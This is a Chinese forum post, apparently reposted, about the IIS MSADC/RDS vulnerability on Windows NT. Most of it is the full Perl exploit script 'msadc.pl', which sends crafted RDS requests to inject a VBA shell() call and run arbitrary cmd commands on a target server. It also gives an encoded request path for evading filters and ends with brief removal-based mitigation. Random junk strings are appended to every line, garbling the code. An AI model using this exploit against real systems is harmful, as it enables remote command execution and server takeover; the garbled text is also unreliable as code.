社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167593阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Uo)<_nG  
aeLo;!Jh  
涉及程序: /@}# K P=  
Microsoft NT server cZF;f{t  
v&,VC~RN-J  
描述: 0$h$7'a  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 6]A\8Ty  
7 ,~Krzv  
详细: ,ui'^8{gK  
如果你没有时间读详细内容的话,就删除: jN{xpd  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Jj!tRZT  
有关的安全问题就没有了。 5:3$VWLa <  
T ]nR XW$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Vw@x  
8r|  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 F7u%oLjr  
关于利用ODBC远程漏洞的描述,请参看: (=B7_jrl  
%z_b/yG  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5*'N Q010  
6 FxndR;  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 KFG^vmrn  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp UdgI<a~`k6  
Uy'ZL(2  
这里不再论述。 " yl"A4p S  
0~5}F^8[L  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &I_!&m~  
r<H^%##,w  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @9 tv N}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! I{UB!0H  
7ib<Cb>K  
<.XoC?j  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,(?4T~  
AQGE(%X  
#!perl & b2(Y4  
# j'b4Sb s-f  
# MSADC/RDS 'usage' (aka exploit) script 4KB?g7_*  
# Mo r-$a8  
# by rain.forest.puppy #`wfl9tj  
# j-E>*N}-_  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me D"aQbQP  
# beta test and find errors! 6j![m+vo%  
l),13"?C(  
use Socket; use Getopt::Std; 32'9Ch.  
getopts("e:vd:h:XR", \%args); %R"nm  
:#KURYO<  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; } +Z;zm@/6  
ttt&sW`  
if (!defined $args{h} && !defined $args{R}) { &,|uTIs  
print qq~ 9:5NX3"p  
Usage: msadc.pl -h <host> { -d <delay> -X -v } UZ0O j5B.  
-h <host> = host you want to scan (ip or domain) K`2DhJC  
-d <seconds> = delay between calls, default 1 second OtqLigt&l  
-X = dump Index Server path table, if available \K=PIcH  
-v = verbose IUG .q8  
-e = external dictionary file for step 5 Efd[ZJxS6  
`G{t<7[[;  
Or a -R will resume a command session HYa!$P3}[  
AU\!5+RDB  
~; exit;} ZWW}r~d{  
pDN,(Ip  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; W]]2Uo.  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} t $%}*@x7  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} GUZi }a|=  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?E+XD'~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ;!Bkk9r"H  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 5mBk[{  
CBHWMetJ*  
if (!defined $args{R}){ $ret = &has_msadc; @isqFKjph  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ew~FN  
c(JO;=,@9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" GoXHVUyp  
. "cmd /c "; Z)~4)71Y:  
$in=<STDIN>; chomp $in; D]_\i[x  
$command="cmd /c " . $in ; Ps-d#~4U;  
_CT|5wQF<  
if (defined $args{R}) {&load; exit;} wpmtv325  
|Q+v6r(<zZ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; yU`IyaazZ  
&try_btcustmr; 3P>@ :  
pp_ddk  
print "\nStep 2: Trying to make our own DSN..."; l)bUHh5[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >H! 2Wflm  
bsVOO9.4-  
print "\nStep 3: Trying known DSNs..."; pYQs|5d  
&known_dsn; sIM`Q%  
pc>R|~J{2  
print "\nStep 4: Trying known .mdbs..."; ;^]F~x}  
&known_mdb; r73Xh"SL  
!%=k/|#  
if (defined $args{e}){ RmCR"~   
print "\nStep 5: Trying dictionary of DSN names..."; Vt>E\{@[t  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ]t<%>Z$  
/ nRaxzf'  
print "Sorry Charley...maybe next time?\n"; 3EdPKM j&  
exit; :eO0{JN4T  
Ha\hQ'99  
############################################################################## Rh^$0Q*2  
2|EoP-K7  
sub sendraw { # ripped and modded from whisker ]e9kf$'  
sleep($delay); # it's a DoS on the server! At least on mine... I}{eYXh  
my ($pstr)=@_; @n3PCH6:Ao  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }%|OnEk"  
die("Socket problems\n"); Su~`jRN $  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3+ 'w%I  
select(S); $|=1; C<ljBz`,t  
print $pstr; my @in=<S>; =cY]cPO  
select(STDOUT); close(S); n9ih^H  
return @in; ?,[w6O*  
} else { die("Can't connect...\n"); }} ujBADDwOg)  
uWQ.h ,  
############################################################################## ==9Ez  
B7C6Mau  
sub make_header { # make the HTTP request co|0s+%PBq  
my $msadc=<<EOT }qg&2M%\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Orgje@c{  
User-Agent: ACTIVEDATA ,.B8hr@H6-  
Host: $ip cQ%HwYn  
Content-Length: $clen 8iB}a\]B  
Connection: Keep-Alive uNDkK o<M  
Z )I4U  
ADCClientVersion:01.06 1OKJE(T  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~<3yTl>  
|,crQ'N'  
--!ADM!ROX!YOUR!WORLD! %8/$CR  
Content-Type: application/x-varg x(Z@ R\C-a  
Content-Length: $reqlen =>U~ligu  
7;V5hul  
EOT "`wq:$R  
; $msadc=~s/\n/\r\n/g; G<I5%Yo6G  
return $msadc;} aY~IS?! ;  
'Z[R*Ikzq  
############################################################################## ZBWe,Xvq  
yO)Qg* r  
sub make_req { # make the RDS request I&9B^fF6  
my ($switch, $p1, $p2)=@_; 1['A1 ,  
my $req=""; my $t1, $t2, $query, $dsn; c1f6RCu$b  
'_%Jw:4k  
if ($switch==1){ # this is the btcustmr.mdb query PC5FfX  
$query="Select * from Customers where City=" . make_shell(); P:o<kRj1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6 9Cxh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} P#C`/%$S  
*Bj G3Jc5  
elsif ($switch==2){ # this is general make table query q]aRJ`9f  
$query="create table AZZ (B int, C varchar(10))"; [S%  
$dsn="$p1";} t+VPX2  
n >^?BU  
elsif ($switch==3){ # this is general exploit table query  S_atEmQ  
$query="select * from AZZ where C=" . make_shell(); ZL Aq8X  
$dsn="$p1";} uo^>95lkv  
)_ y{^kn3^  
elsif ($switch==4){ # attempt to hork file info from index server @QofsWC  
$query="select path from scope()"; Q] HRg4r  
$dsn="Provider=MSIDXS;";} ?bEYvHAzg  
okW3V}/x/z  
elsif ($switch==5){ # bad query OkM>  
$query="select"; -llujB%;,e  
$dsn="$p1";} /\.kH62  
b]~M$y60q  
$t1= make_unicode($query); >; Bhl|r~z  
$t2= make_unicode($dsn); F&\o1g-L  
$req = "\x02\x00\x03\x00"; {XAKf_Cg  
$req.= "\x08\x00" . pack ("S1", length($t1)); H0S7k`.  
$req.= "\x00\x00" . $t1 ; VQCPgs  
$req.= "\x08\x00" . pack ("S1", length($t2)); x+&&[>-P  
$req.= "\x00\x00" . $t2 ; Jg:'gF]jt  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; q&.!*rPD  
return $req;} xFJ>s-g*  
/>?d 2?  
############################################################################## a;(:iMCi  
8CL05:&  
sub make_shell { # this makes the shell() statement Ce:kMkJ  
return "'|shell(\"$command\")|'";} w?[)nlNW  
la-+ `  
############################################################################## ;4 &~i  
W*)>Tr)o  
sub make_unicode { # quick little function to convert to unicode ]lo O5  
my ($in)=@_; my $out; er_aol e  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } )\e_I\-  
return $out;} 9/{g%40B^  
sTb/l!=o  
############################################################################## ^ZsME,  
a7Jr} "B  
sub rdo_success { # checks for RDO return success (this is kludge) tf,_4_7#$  
my (@in) = @_; my $base=content_start(@in); f,$CiZ"  
if($in[$base]=~/multipart\/mixed/){ `4o;Lz~  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} IRQ(/:]  
return 0;} X!@Gv:TD  
`>V.}K^4  
############################################################################## ZE9*i}r  
OygYP  
sub make_dsn { # this makes a DSN for us ?E`J-ncP  
my @drives=("c","d","e","f"); _tjH=Ff$  
print "\nMaking DSN: "; 1)%o:Xy o  
foreach $drive (@drives) { 9}4L 8?2  
print "$drive: "; w-KtxG(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . QM IQy  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" mHP1.Z`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); XDn$=`2  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c/s'&gG33z  
return 0 if $2 eq "404"; # not found/doesn't exist k`?n("j  
if($2 eq "200") { 5rc<ibGh  
foreach $line (@results) { {BJxRH"&6*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ELm#  
} return 0;} hZpFI?lqc\  
[]@Mk  
############################################################################## zIL.R#|D=  
{3;4=R3  
sub verify_exists { W&"FejD  
my ($page)=@_; f; 22viE  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~6OdPD  
return $results[0];} NENbr$,G  
wiutUb Y  
############################################################################## GVg0)}  
a+X X?uN{  
sub try_btcustmr { a\zbi$S  
my @drives=("c","d","e","f"); FGZOn5U6'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *33Zt+  
m^ILcp!  
foreach $dir (@dirs) { i^n&K:6  
print "$dir -> "; # fun status so you can see progress {{O1C ~  
foreach $drive (@drives) { y.>r>o"0  
print "$drive: "; # ditto {U4%aoBd8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; h7*m+/O  
$reqlenlen=length( "$reqlen" ); $ }&6p6|  
$clen= 206 + $reqlenlen + $reqlen; J sH9IK:  
JeO(sj$e  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]@'YlPU  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ";jhj:Xj  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L 0|u^J  
rR7}SEa  
############################################################################## m1(rAr1  
dkXK0k  
sub odbc_error { T# 8O:  
my (@in)=@_; my $base; &BQ`4j~.  
my $base = content_start(@in); iQA f  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 4Fnr8 r8W  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^@N@ gB  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fQv^=DI#  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4WNWn#M  
return $in[$base+4].$in[$base+5].$in[$base+6];} $,R|$0B7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; mtHw!*  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l<gg5 Zea  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} * @oAM,@  
< B'BlqTS  
############################################################################## 5T,`j=\  
l{;vD=D  
sub verbose { 6@bO3K|  
my ($in)=@_; gHTo|2 Q{  
return if !$verbose; v67o>`<$  
print STDOUT "\n$in\n";} FzNs >*  
%=GnGgu  
############################################################################## \s,ZE6dQ  
#/YKA{  
sub save { ^Zg"`&E  
my ($p1, $p2, $p3, $p4)=@_; #wt#-U;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7^ER?@:W  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; or0f%wAF  
close OUT;} "_9Dau$  
&u.t5m7(  
############################################################################## ]A'E61t<n  
B[8  
sub load {  snX5mD  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z0c_&@uj*  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8)T.[AP  
@p=<IN>; close(IN); ;Lz96R@}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @c5TSHSL.  
$target= inet_aton($ip) || die("inet_aton problems"); LA1UD+S  
print "Resuming to $ip ..."; ^f@EDG8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^'#vUj:"  
if($p[1]==1) { @dw0oRF  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; O{Wy;7i  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; kvKbl;<&#  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); z`'{l {  
if (rdo_success(@results)){print "Success!\n";} @'dtlY5;  
else { print "failed\n"; verbose(odbc_error(@results));}} ZMoN  
elsif ($p[1]==3){ Td?a=yu:J  
if(run_query("$p[3]")){ @<;0 h|  
print "Success!\n";} else { print "failed\n"; }} O9jqeF`L=  
elsif ($p[1]==4){ 4R.rSsAH  
if(run_query($drvst . "$p[3]")){ %gmf  
print "Success!\n"; } else { print "failed\n"; }} Ioj F/  
exit;} U#-89.x  
#p Ld';  
############################################################################## =lA*?'kd  
H:2#/1Oz>  
sub create_table { LLCMp3qBz  
my ($in)=@_; z^@98:x  
$reqlen=length( make_req(2,$in,"") ) - 28; c?IFI   
$reqlenlen=length( "$reqlen" ); v, 9MAZ,  
$clen= 206 + $reqlenlen + $reqlen; }fdo Aid~  
my @results=sendraw(make_header() . make_req(2,$in,"")); <$/'iRtRzW  
return 1 if rdo_success(@results); /dj r_T  
my $temp= odbc_error(@results); verbose($temp); d/N&bTg:  
return 1 if $temp=~/Table 'AZZ' already exists/; h9$Ov`N(%  
return 0;} !Yd7&#s  
!bRoNP  
############################################################################## ?X~Keb  
94\k++kc  
sub known_dsn { ?o?~Df&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "1yXOy^2  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Fn1|Wt*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", n}}$-xl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); rISg`-  
p78X,44xg  
foreach $dSn (@dsns) { *+rO3% ;t  
print "."; ;(5b5PA  
next if (!is_access("DSN=$dSn")); CWHTDao  
if(create_table("DSN=$dSn")){ '+JU(x{CCl  
print "$dSn successful\n"; M|6 l  
if(run_query("DSN=$dSn")){ B^Fe.ty  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .Xqe]cax%  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ET.c8K1f  
?%(:  
############################################################################## j&(aoGl@  
$GB/}$fd&  
sub is_access { AT+7!UGL  
my ($in)=@_; 3]$qY_|7  
$reqlen=length( make_req(5,$in,"") ) - 28; .0}]/%al  
$reqlenlen=length( "$reqlen" ); tUaDwIu#  
$clen= 206 + $reqlenlen + $reqlen; 2= S;<J  
my @results=sendraw(make_header() . make_req(5,$in,"")); Db3# ;  
my $temp= odbc_error(@results); 1<IF@__  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 3+ JkV\AF  
return 0;} HN?NY  
^`?2g[AA  
############################################################################## g 67;O(3  
~|QhWgq  
sub run_query { AU0pJB'  
my ($in)=@_; ^M_0M  
$reqlen=length( make_req(3,$in,"") ) - 28; A 0~uv4MC  
$reqlenlen=length( "$reqlen" ); g ]%sX6T  
$clen= 206 + $reqlenlen + $reqlen; .EpcMXT%  
my @results=sendraw(make_header() . make_req(3,$in,"")); mO%F {'  
return 1 if rdo_success(@results); ^--kcTiR%  
my $temp= odbc_error(@results); verbose($temp); LpN_s#  
return 0;} =n7QLQU  
Vz[tgb]-  
############################################################################## }04 EM  
G6@XRib3  
sub known_mdb { sbqAjm}  
my @drives=("c","d","e","f","g"); J$"3w,O6+U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l/ufu[x!a  
my $dir, $drive, $mdb; 0&wbGbg(W  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )"KKBil0  
p(vmMWR!  
# this is sparse, because I don't know of many 8725ET t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ps<;DE\$f4  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", =cz^g^7  
"\\system32\\certmdb.mdb", <MdIQ;I8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% p^J=*jm)x  
{B|)!_M#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", u2\QhP 9  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~$w9L998+  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", zp.-=)D4e  
"\\cfusion\\cfapps\\security\\realm_.mdb", tr?U/YG  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", e,V @t%  
"\\cfusion\\database\\cfexamples.mdb", ;xqN#mqq  
"\\cfusion\\database\\cfsnippets.mdb", N5K\h}'%  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lFJDdf2:$C  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 'ip2|UG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (+aU,EQ  
"\\cfusion\\database\\smpolicy.mdb", !:BmDX[<n  
"\\cfusion\\database\cypress.mdb", bSJ@ 5qS  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", '/O >#1  
"\\website\\cgi-win\\dbsample.mdb", [0>I6Jl  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Z/G`8|A  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 8=kIN-l_  
); #these are just #X 1 GL  
foreach $drive (@drives) { X?f\j"v  
foreach $dir (@dirs){ \P~ h0zg?  
foreach $mdb (@sysmdbs) { D[i?T3i  
print "."; m-u3^\'  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :LrB9Cf$n  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; :[\M|iAo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ rvEX ;8TS  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; j{&*]QTN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} dQ#$(<v[  
j;TXZ`|(  
foreach $drive (@drives) { {f1iys'Om  
foreach $mdb (@mdbs) { L*(Sh2=_  
print "."; H;w8[ImK  
if(create_table($drv . $drive . $dir . $mdb)){ FHOF 6}if  
print "\n" . $drive . $dir . $mdb . " successful\n"; X iW~? *Z  
if(run_query($drv . $drive . $dir . $mdb)){ u7(<YSOs  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -}x( MZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} GUDz>(  
} ! mb<z^>5  
^ jYE4gHM  
############################################################################## Q  h~  
cZR9rnZT  
sub hork_idx { , ;$SRQ.  
print "\nAttempting to dump Index Server tables...\n"; y <] x  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; qe[P'\]L  
$reqlen=length( make_req(4,"","") ) - 28; H3#rFO"C*  
$reqlenlen=length( "$reqlen" ); W6^YFN  
$clen= 206 + $reqlenlen + $reqlen; o$q})!  
my @results=sendraw2(make_header() . make_req(4,"","")); Gov]^?^D-  
if (rdo_success(@results)){ M4}b l h#  
my $max=@results; my $c; my %d; 5do49H_  
for($c=19; $c<$max; $c++){ $Cnv]1%  
$results[$c]=~s/\x00//g; X+7@8)1(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]L6[ vJHx  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &RB{0Qhx  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &*j# [6  
$d{"$1$2"}="";}  Q'~3Ik  
foreach $c (keys %d){ print "$c\n"; } [6cF#_)*  
} else {print "Index server doesn't seem to be installed.\n"; }} lY$9-Q(  
;s\ck:Xg  
############################################################################## 328gTP1  
CpLLsphy  
sub dsn_dict { ;Z6ngS  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); B>r>z5  
while(<IN>){ Fa+#bX7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; T|^KG<uPV!  
next if (!is_access("DSN=$dSn")); R1?LB"aN  
if(create_table("DSN=$dSn")){ HRg< f= oz  
print "$dSn successful\n"; >xCc#]v&  
if(run_query("DSN=$dSn")){ AFdBf6/" i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +yd{-iH  
print "Something's borked. Use verbose next time\n";}}} B%(-UTQf  
print "\n"; close(IN);}  ]j:aO  
 Uys[0n  
############################################################################## IeT1Jwe  
HDHC9E6  
sub sendraw2 { # ripped and modded from whisker Ihy76_OZ  
sleep($delay); # it's a DoS on the server! At least on mine... \f4JIsZ-&  
my ($pstr)=@_; 68QA%m'J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :{=2ih-}  
die("Socket problems\n"); \5DOp-2  
if(connect(S,pack "SnA4x8",2,80,$target)){  ovsI2  
print "Connected. Getting data"; #`qP7E w  
open(OUT,">raw.out"); my @in; |2!cPf^8  
select(S); $|=1; print $pstr; *\#?)q  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}  WfH4*e  
close(OUT); select(STDOUT); close(S); return @in; 6b-E|;"]:^  
} else { die("Can't connect...\n"); }} 2)T.Ci cx  
W.m2`] &  
############################################################################## (W'3Zv'f  
rUDMQxLruV  
sub content_start { # this will take in the server headers zlhI\jRdc  
my (@in)=@_; my $c; p<8Ga.kiN  
for ($c=1;$c<500;$c++) { `nv82v  
if($in[$c] =~/^\x0d\x0a/){ ~8tb^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3:MAdh[w  
else { return $c+1; }}} - p*j9 z  
return -1;} # it should never get here actually N VBWF  
d9pZg=$8  
############################################################################## i1 ^#TC$x  
QLDld[  
sub funky { V9/PkuT  
my (@in)=@_; my $error=odbc_error(@in); v%8S:3  
if($error=~/ADO could not find the specified provider/){ ZIp"X  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bCmlSu  
exit;} q~6((pWi|  
if($error=~/A Handler is required/){ ss'`[QhR2  
print "\nServer has custom handler filters (they most likely are patched)\n"; js F96X{  
exit;} &XZS}n  
if($error=~/specified Handler has denied Access/){ EF8'ycJk+  
print "\nServer has custom handler filters (they most likely are patched)\n"; f0ME$:2  
exit;}} VQ/Jz5^  
" "{#~X}  
############################################################################## uTvck6  
dPb@[k  
sub has_msadc { 4n}^1eQ9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "PfNC<MQo  
my $base=content_start(@results); 859ID8F  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~@ML>z 7  
return 0;} @f%q ,:  
@ $2xiE.[  
######################## aP`V  
A[Pz&\@  
IiB"F<&[j{  
解决方案: +^<-;/FZue  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll +ieRpVg  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 CSNfLGA  
gFAtIx4  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八